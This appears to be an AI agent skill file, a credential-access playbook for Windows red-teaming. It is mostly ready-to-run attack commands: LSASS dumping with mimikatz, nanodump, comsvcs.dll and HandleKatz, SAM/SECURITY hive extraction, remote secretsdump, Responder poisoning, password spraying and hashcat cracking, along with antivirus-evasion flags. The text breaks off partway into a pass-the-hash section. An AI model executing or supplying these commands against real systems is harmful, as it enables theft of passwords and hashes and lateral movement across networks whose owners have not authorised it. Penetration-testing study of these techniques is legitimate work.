credential-access

Files (2)

• SKILL.md
• lsass-techniques.md · references/

SKILL.md (first lines)

---
name: credential-access
description: "Credential extraction and capture — LSASS dumping, SAM/SECURITY hive extraction, DPAPI decryption, NTLM relay, Responder poisoning, password spraying, hash cracking."
allowed-tools: Bash Read Write
metadata:
  subdomain: credential-access
  when_to_use: "credential access, dump credentials, LSASS, mimikatz, password spray, NTLM relay, Responder, hash cracking, SAM dump, DPAPI, secretsdump"
  tags: credentials, lsass, mimikatz, ntlm, relay, spray, hashcat, dpapi, responder
  mitre_attack: T1003.001, T1003.002, T1003.004, T1557.001, T1110.003, T1187
---

# Credential Access Knowledge Base

Credential access extracts authentication material from compromised systems and network traffic. Captured credentials enable lateral movement, privilege escalation, and persistent access. Always validate scope authorization before executing credential attacks.

## Quick Reference
```bash
# LSASS dump via comsvcs.dll (living-off-the-land, no tool upload)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\out.dmp full

# SAM/SYSTEM hive extraction
reg save HKLM\SAM C:\Windows\Temp\SAM && reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM && reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

# Remote secretsdump (domain creds required)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# Responder LLMNR/NBT-NS poisoning
responder -I eth0 -dwPv | tee responder_<TARGET>.log

# Password spray with NetExec
nxc smb <TARGET> -u users.txt -p 'Spring2026!' --continue-on-success | tee spray_<TARGET>.log

# Crack NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt
```

## MITRE ATT&CK Mapping

| Technique ID | Name | Tools |
|-------------|------|-------|
| T1003.001 | OS Credential Dumping: LSASS Memory | Mimikatz, nanodump, comsvcs.dll, HandleKatz |
| T1003.002 | OS Credential Dumping: SAM | reg save, secretsdump.py |
| T1003.004 | OS Credential Dumping: LSA Secrets | secretsdump.py, Mimikatz |
| T1557.001 | LLMNR/NBT-NS Poisoning | Responder |
| T1110.003 | Password Spraying | CrackMapExec, NetExec, DomainPasswordSpray |
| T1187 | Forced Authentication | ntlmrelayx.py, PetitPotam |

## 1. LSASS Memory Dumping

### Mimikatz — sekurlsa Module
```powershell
# Dump all logon passwords from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz_<TARGET>.txt

# Dump NTLM hashes only
mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"

# Dump Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Dump cached domain credentials
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
```

### nanodump (Stealthier LSASS Dump)
```bash
# Direct LSASS dump — avoids Mimikatz signatures
nanodump.exe --write C:\Windows\Temp\out.dmp

# Fork LSASS process first (avoids direct handle to lsass.exe)
nanodump.exe --fork --write C:\Windows\Temp\out.dmp

# Use invalid signature to bypass AV file scanning
nanodump.exe --write C:\Windows\Temp\out.dmp --invalid

# Parse dump offline with Mimikatz
mimikatz.exe "sekurlsa::minidump out.dmp" "sekurlsa::logonpasswords" "exit"
```

### comsvcs.dll MiniDump (LOLBin)
```powershell
# Get LSASS PID
$lsassPid = (Get-Process lsass).Id

# Dump using comsvcs.dll — no tool upload required
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Windows\Temp\lsass.dmp full

# Alternative: use cmd with tasklist
tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full
```

### HandleKatz (Handle Duplication)
```bash
# Uses handle duplication to access LSASS — bypasses PPL in some configs
HandleKatz.exe --pid:<LSASS_PID> --outfile:C:\Windows\Temp\lsass.dmp

# Parse the dump offline
pypykatz lsa minidump lsass.dmp -o handlekatz_<TARGET>.txt
```

## 2. SAM/SECURITY/SYSTEM Hive Extraction

### Registry Save (Local Admin Required)
```cmd
:: Save SAM, SYSTEM, and SECURITY hives
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

:: Transfer to attack machine, then extract
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL -outputfile local_hashes
```

### Remote Extraction with secretsdump.py
```bash
# With plaintext credentials
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# With NTLM hash (pass-the-hash)

From dazeb/botron, Apache-2.0.

More from dazeb/botron